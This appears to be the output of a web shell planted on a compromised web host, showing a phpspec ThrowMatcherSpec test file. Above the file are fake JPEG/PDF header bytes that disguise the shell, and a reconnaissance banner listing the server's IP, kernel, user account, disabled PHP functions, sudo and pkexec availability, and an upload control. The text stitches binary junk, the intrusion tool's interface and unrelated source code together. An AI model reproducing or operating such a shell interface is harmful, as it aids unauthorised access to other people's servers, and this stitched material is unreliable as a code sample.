ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµùÕ5sLOšuY
Server IP : 157.90.209.209 / Your IP : 216.73.216.185 [ Web Server : Apache System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64 User : evidenciarevista ( 1049) PHP Version : 7.2.34 Disable Function : exec,passthru,shell_exec,system Domains : 216 Domains MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : OFF | Sudo : ON | Pkexec : ON Directory : /home/evidenciarevista/admin/vendor/phpspec/phpspec/spec/PhpSpec/Matcher/ |
Upload File : |
<?php namespace spec\PhpSpec\Matcher; use PhpSpec\ObjectBehavior; use Prophecy\Argument; use PhpSpec\Wrapper\Unwrapper; use PhpSpec\Formatter\Presenter\PresenterInterface; use PhpSpec\Exception\Example\SkippingException; use ArrayObject; class ThrowMatcherSpec extends ObjectBehavior { function let(Unwrapper $unwrapper, PresenterInterface $presenter) { $unwrapper->unwrapAll(Argument::any())->willReturnArgument(); $presenter->presentValue(Argument::any())->willReturn('val1', 'val2'); $this->beConstructedWith($unwrapper, $presenter); } function it_supports_the_throw_alias_for_object_and_exception_name() { $this->supports('throw', '', array())->shouldReturn(true); } function it_accepts_a_method_during_which_an_exception_should_be_thrown(ArrayObject $arr) { $arr->ksort()->willThrow('\Exception'); $this->positiveMatch('throw', $arr, array('\Exception'))->during('ksort', array()); } function it_accepts_a_method_during_which_an_error_specified_by_class_name_should_be_thrown(ArrayObject $arr) { if (!class_exists('\Error')) { throw new SkippingException('The class Error, introduced in PHP 7, does not exist'); } $arr->ksort()->willThrow('\Error'); $this->positiveMatch('throw', $arr, array('\Error'))->during('ksort', array()); } function it_accepts_a_method_during_which_an_error_specified_by_instance_should_be_thrown(ArrayObject $arr) { if (!class_exists('\Error')) { throw new SkippingException('The class Error, introduced in PHP 7, does not exist'); } $arr->ksort()->will(function(){ throw new \Error(); }); $this->positiveMatch('throw', $arr, array(new \Error()))->during('ksort', array()); } function it_accepts_a_method_during_which_an_exception_should_not_be_thrown(ArrayObject $arr) { $this->negativeMatch('throw', $arr, array('\Exception'))->during('ksort', array()); } function it_accepts_a_method_during_which_an_error_should_not_be_thrown(ArrayObject $arr) { if (!class_exists('\Error')) { throw new SkippingException('The class Error, introduced in PHP 7, does not exist'); } $this->negativeMatch('throw', $arr, array('\Error'))->during('ksort', array()); } }